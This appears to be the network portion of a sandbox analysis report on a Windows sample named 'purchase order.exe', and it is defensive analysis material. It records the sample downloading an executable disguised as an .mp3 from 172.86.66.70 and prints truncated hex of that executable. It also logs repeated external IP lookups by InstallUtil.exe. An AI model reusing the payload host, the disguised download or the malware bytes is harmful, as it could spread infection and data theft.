Sep 26, 2024 15:11:41.267110109 CEST	49753	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:41.267121077 CEST	443	49753	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:41.306838989 CEST	49751	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:41.732620955 CEST	443	49753	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:41.734625101 CEST	49753	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:41.734654903 CEST	443	49753	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:41.862884045 CEST	443	49753	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:41.862998962 CEST	443	49753	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:41.863116026 CEST	49753	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:41.863636971 CEST	49753	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:41.867856979 CEST	49755	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:41.872629881 CEST	80	49755	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:41.872705936 CEST	49755	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:41.872819901 CEST	49755	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:41.877768993 CEST	80	49755	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:43.280886889 CEST	80	49752	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:43.281333923 CEST	49749	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:43.281482935 CEST	80	49752	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:43.281704903 CEST	49752	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:43.282396078 CEST	49756	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:43.282444954 CEST	443	49756	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:43.282541990 CEST	49756	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:43.282835960 CEST	49756	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:43.282854080 CEST	443	49756	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:43.286744118 CEST	80	49749	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:43.286798954 CEST	49749	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:43.738617897 CEST	443	49756	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:43.740421057 CEST	49756	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:43.740449905 CEST	443	49756	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:43.890238047 CEST	443	49756	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:43.890352964 CEST	443	49756	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:43.893126965 CEST	49756	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:43.893745899 CEST	49756	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:43.969958067 CEST	80	49755	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:43.971389055 CEST	49757	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:43.971431017 CEST	443	49757	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:43.973093987 CEST	49757	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:43.973387957 CEST	49757	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:43.973402977 CEST	443	49757	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:44.009877920 CEST	49755	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:44.451955080 CEST	443	49757	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:44.453975916 CEST	49757	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:44.453993082 CEST	443	49757	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:44.598522902 CEST	443	49757	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:44.598597050 CEST	443	49757	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:44.598712921 CEST	49757	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:44.601500988 CEST	49757	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:44.605717897 CEST	49755	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:44.606760979 CEST	49758	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:44.610997915 CEST	80	49755	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:44.611058950 CEST	49755	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:44.611704111 CEST	80	49758	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:44.611772060 CEST	49758	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:44.611912012 CEST	49758	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:44.617474079 CEST	80	49758	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:46.175530910 CEST	80	49758	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:46.178797960 CEST	49759	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:46.178852081 CEST	443	49759	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:46.178947926 CEST	49759	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:46.179174900 CEST	49759	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:46.179193020 CEST	443	49759	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:46.228754044 CEST	49758	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:46.645617962 CEST	443	49759	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:46.697397947 CEST	49759	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:46.727875948 CEST	49759	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:46.727914095 CEST	443	49759	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:46.837281942 CEST	443	49759	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:46.837378025 CEST	443	49759	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:46.837429047 CEST	49759	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:46.838932991 CEST	49759	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:46.851603985 CEST	49758	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:46.853169918 CEST	49760	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:46.857410908 CEST	80	49758	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:46.857462883 CEST	49758	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:46.858407974 CEST	80	49760	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:46.858582973 CEST	49760	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:46.858582973 CEST	49760	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:46.863591909 CEST	80	49760	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:50.827497005 CEST	80	49760	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:50.835314035 CEST	49761	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:50.835352898 CEST	443	49761	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:50.835500002 CEST	49761	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:50.835695028 CEST	49761	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:50.835710049 CEST	443	49761	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:50.869323015 CEST	49760	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:51.297776937 CEST	443	49761	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:51.302814960 CEST	49761	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:51.302845001 CEST	443	49761	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:51.454036951 CEST	443	49761	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:51.454147100 CEST	443	49761	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:51.454257965 CEST	49761	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:51.454801083 CEST	49761	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:12:13.299591064 CEST	80	49724	158.101.44.242	192.168.2.12
Sep 26, 2024 15:12:13.299644947 CEST	49724	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:12:23.296605110 CEST	80	49731	158.101.44.242	192.168.2.12
Sep 26, 2024 15:12:23.296813011 CEST	49731	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:12:37.512955904 CEST	80	49741	158.101.44.242	192.168.2.12
Sep 26, 2024 15:12:37.513192892 CEST	49741	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:12:46.273459911 CEST	80	49751	158.101.44.242	192.168.2.12
Sep 26, 2024 15:12:46.273518085 CEST	49751	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:12:48.043189049 CEST	80	49752	158.101.44.242	192.168.2.12
Sep 26, 2024 15:12:48.043251038 CEST	49752	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:12:55.827317953 CEST	80	49760	158.101.44.242	192.168.2.12
Sep 26, 2024 15:12:55.827430010 CEST	49760	80	192.168.2.12	158.101.44.242

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 15:10:59.766930103 CEST	65417	53	192.168.2.12	1.1.1.1
Sep 26, 2024 15:10:59.774053097 CEST	53	65417	1.1.1.1	192.168.2.12
Sep 26, 2024 15:11:03.791074038 CEST	50777	53	192.168.2.12	1.1.1.1
Sep 26, 2024 15:11:03.800409079 CEST	53	50777	1.1.1.1	192.168.2.12
Sep 26, 2024 15:11:17.325216055 CEST	53599	53	192.168.2.12	1.1.1.1
Sep 26, 2024 15:11:17.335146904 CEST	53	53599	1.1.1.1	192.168.2.12

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 26, 2024 15:10:59.766930103 CEST	192.168.2.12	1.1.1.1	0xae32	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:11:03.791074038 CEST	192.168.2.12	1.1.1.1	0xa14e	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:11:17.325216055 CEST	192.168.2.12	1.1.1.1	0xcc79	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 26, 2024 15:10:59.774053097 CEST	1.1.1.1	192.168.2.12	0xae32	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 26, 2024 15:10:59.774053097 CEST	1.1.1.1	192.168.2.12	0xae32	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:10:59.774053097 CEST	1.1.1.1	192.168.2.12	0xae32	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:10:59.774053097 CEST	1.1.1.1	192.168.2.12	0xae32	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:10:59.774053097 CEST	1.1.1.1	192.168.2.12	0xae32	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:10:59.774053097 CEST	1.1.1.1	192.168.2.12	0xae32	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:11:03.800409079 CEST	1.1.1.1	192.168.2.12	0xa14e	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:11:03.800409079 CEST	1.1.1.1	192.168.2.12	0xa14e	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:11:17.335146904 CEST	1.1.1.1	192.168.2.12	0xcc79	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 15:11:17.335146904 CEST	1.1.1.1	192.168.2.12	0xcc79	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

172.86.66.70

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49712	172.86.66.70	80	6884	C:\Users\user\Desktop\purchase order.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:10:46.173280001 CEST	80	OUT	GET /y3/Tzxjiauolcg.mp3 HTTP/1.1 Host: 172.86.66.70 Connection: Keep-Alive
Sep 26, 2024 15:10:46.801356077 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:10:46 GMT Server: Apache/2.4.62 (Debian) Last-Modified: Wed, 25 Sep 2024 07:28:13 GMT ETag: "1c0400-622ec908c3d40" Accept-Ranges: bytes Content-Length: 1836032 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: audio/mpeg Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 30 34 35 30 30 30 30 34 43 30 31 30 33 30 30 30 41 34 36 32 30 42 39 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 45 30 30 30 30 45 32 31 30 42 30 31 33 30 30 30 30 30 46 41 30 44 30 30 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 37 45 [TRUNCATED] Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103000A4620B90000000000000000E0000E210B01300000FA0D0000060000000000007E190E000020000000200E000000400000200000000200000400000000000000040000000000000000600E0000020000000000000300408500001000001000000000100000100000000000000F000000000000000000000030190E004B00000000200E00240300000000000000000000000000000000000000400E000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E7465787400000084F90D000020000000FA0D0000020000000000000000000000000000200000602E727372630000002403000000200E000004000000FC0D00000000000000000000000000400000C02E72656C6F6300000C00000000400E0
Sep 26, 2024 15:10:46.801372051 CEST	1236	IN	Data Raw: 30 30 30 30 32 30 30 30 30 30 30 30 30 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 34 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 36 Data Ascii: 00002000000000E00000000000000000000000000400000420000000000000000000000000000000060190E0000000000480000000200050034C10100783802000100000000000000ACF90300F41C0A00A4180E0080000000000000000000000000000000000000000000000000000000000000000000000013
Sep 26, 2024 15:10:46.801383018 CEST	1236	IN	Data Raw: 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 30 35 30 30 30 30 30 30 32 45 30 30 30 30 30 30 35 37 30 30 30 30 30 30 33 38 30 30 30 30 30 30 30 30 37 45 39 36 30 32 30 30 30 34 32 38 42 31 30 38 30 30 30 36 32 30 30 32 30 30 30 Data Ascii: 000FE0C00004503000000050000002E0000005700000038000000007E9602000428B108000620020000007E600200047B5D02000439CCFFFFFF26200200000038C1FFFFFF7E9502000428AD08000620000000007E600200047B6A0200043AA3FFFFFF2620000000003898FFFFFF2A120000172A000000120000
Sep 26, 2024 15:10:46.801394939 CEST	1236	IN	Data Raw: 43 46 46 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 39 35 30 32 30 30 30 34 32 38 41 44 30 38 30 30 30 36 32 30 30 31 30 30 30 30 30 30 37 45 36 30 30 32 30 30 30 34 37 42 36 46 30 32 30 30 30 34 33 Data Ascii: CFFFFFF26200000000038C1FFFFFF2A7E9502000428AD08000620010000007E600200047B6F02000439A2FFFFFF2620010000003897FFFFFF120000142A000000120000142A000000120000142A000000120000172A000000120000142A000000120000142A000000120000172A000000120000142A00000012
Sep 26, 2024 15:10:46.801407099 CEST	1236	IN	Data Raw: 42 30 30 30 30 34 33 30 41 30 30 30 30 43 43 30 33 30 30 30 30 31 44 30 30 30 30 30 30 34 34 30 32 30 30 30 30 46 33 30 34 30 30 30 30 31 37 30 39 30 30 30 30 38 36 30 39 30 30 30 30 32 36 30 34 30 30 30 30 34 44 30 35 30 30 30 30 37 37 30 30 30 Data Ascii: B0000430A0000CC0300001D00000044020000F30400001709000086090000260400004D0500007700000007070000270B00005B070000383F0600007E9502000428AD080006200B000000FE0E00003842FFFFFF20540928E820020000006320B66C65D1617E600200047B6F020004617EBA0200042841090006
Sep 26, 2024 15:10:46.801423073 CEST	1236	IN	Data Raw: 30 32 42 38 30 34 34 30 30 30 30 30 34 32 30 32 30 30 30 30 30 30 30 33 38 31 46 46 44 46 46 46 46 32 30 34 32 41 44 44 30 39 39 32 30 37 42 45 38 38 33 43 41 36 31 37 45 36 30 30 32 30 30 30 34 37 42 33 41 30 32 30 30 30 34 36 31 37 45 42 41 30 Data Ascii: 02B80440000042020000000381FFDFFFF2042ADD099207BE883CA617E600200047B3A020004617EBA020004284109000620CFCFDEE0203E9531BB617E600200047B82020004617EBA0200042841090006280800002B803A000004201800000038CBFCFFFF202C204C7C205C734B69617E600200047B2A020004
Sep 26, 2024 15:10:46.801434040 CEST	1236	IN	Data Raw: 30 30 34 32 38 34 31 30 39 30 30 30 36 32 30 34 42 43 46 35 32 44 43 32 30 37 35 32 30 36 30 46 33 36 31 32 30 37 31 46 43 36 36 30 46 36 31 37 45 36 30 30 32 30 30 30 34 37 42 32 45 30 32 30 30 30 34 36 31 37 45 42 41 30 32 30 30 30 34 32 38 34 Data Ascii: 0042841090006204BCF52DC20752060F3612071FC660F617E600200047B2E020004617EBA0200042841090006280E00002B803F00000420080000007E600200047B740200043A7BFAFFFF2620060000003870FAFFFF20EE82E94D200300000062208B222226617E600200047B78020004617EBA020004284109
Sep 26, 2024 15:10:46.801445007 CEST	1236	IN	Data Raw: 30 32 43 32 30 34 43 37 43 32 30 31 33 42 45 39 44 34 44 36 31 37 45 36 30 30 32 30 30 30 34 37 42 34 36 30 32 30 30 30 34 36 31 37 45 42 41 30 32 30 30 30 34 32 38 34 31 30 39 30 30 30 36 32 30 33 33 43 46 41 46 37 42 32 30 33 46 45 38 35 43 33 Data Ascii: 02C204C7C2013BE9D4D617E600200047B46020004617EBA02000428410900062033CFAF7B203FE85C31617E600200047B43020004617EBA0200042841090006281400002B803500000420120000003808F8FFFF7E9402000428A908000620060000007E600200047B390200043AEAF7FFFF26200500000038DF
Sep 26, 2024 15:10:46.801456928 CEST	1224	IN	Data Raw: 42 35 30 30 32 30 30 30 34 33 39 45 38 46 35 46 46 46 46 32 36 32 30 30 39 30 30 30 30 30 30 33 38 44 44 46 35 46 46 46 46 32 30 36 39 30 39 42 36 30 34 32 30 39 45 44 35 39 42 32 31 36 31 37 45 36 30 30 32 30 30 30 34 37 42 33 38 30 32 30 30 30 Data Ascii: B5002000439E8F5FFFF26200900000038DDF5FFFF206909B604209ED59B21617E600200047B38020004617EBA020004284109000620F7EBAB42206C5A9117617E600200047B37020004617EBA0200042841090006281A00002B8047000004201A0000003889F5FFFF201886E5E120EF5AC8C4617E600200047B
Sep 26, 2024 15:10:46.801580906 CEST	1236	IN	Data Raw: 36 32 38 31 46 30 30 30 30 32 42 38 30 32 41 30 30 30 30 30 34 32 30 31 44 30 30 30 30 30 30 37 45 36 30 30 32 30 30 30 34 37 42 37 30 30 32 30 30 30 34 33 39 36 46 46 33 46 46 46 46 32 36 32 30 30 39 30 30 30 30 30 30 33 38 36 34 46 33 46 46 46 Data Ascii: 6281F00002B802A000004201D0000007E600200047B70020004396FF3FFFF2620090000003864F3FFFF20D87958B620040000006320AC6534DB617E600200047B7C020004617EBA0200042841090006206F5DE4D220B165DDC2617E600200047B77020004617EBA0200042841090006282000002B803B000004
Sep 26, 2024 15:10:46.808532000 CEST	1236	IN	Data Raw: 36 37 45 39 36 30 32 30 30 30 34 32 38 42 31 30 38 30 30 30 36 32 41 30 30 36 41 32 38 38 35 30 33 30 30 30 36 37 45 39 35 30 32 30 30 30 34 32 38 41 44 30 38 30 30 30 36 37 45 39 36 30 32 30 30 30 34 32 38 42 31 30 38 30 30 30 36 32 41 30 30 36 Data Ascii: 67E9602000428B10800062A006A28850300067E9502000428AD0800067E9602000428B10800062A006A28850300067E9502000428AD0800067E9602000428B10800062A006A28850300067E9502000428AD0800067E9602000428B10800062A006A28850300067E9502000428AD0800067E9602000428B10800

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49714	158.101.44.242	80	7140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:10:59.822767973 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:00.418299913 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:00 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 22f11e2abc001c25c6cc404f8ec7f092 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 15:11:00.423109055 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:02.576654911 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Thu, 26 Sep 2024 13:11:02 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 504f5e77cf4e4b9590bf0f766798625f Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Sep 26, 2024 15:11:02.589735031 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:03.750549078 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:03 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7154ed77b3bc9a6aa3d737f944311742 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 15:11:04.674578905 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:05.831815958 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:05 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4d5d26a56cdb9e2ad43d6ca6d6881e3b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49724	158.101.44.242	80	7140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:06.506280899 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:08.212405920 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:08 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b777b5216b0c21b52aa3435f350a70aa Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.12	49726	158.101.44.242	80	7140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:08.883285999 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
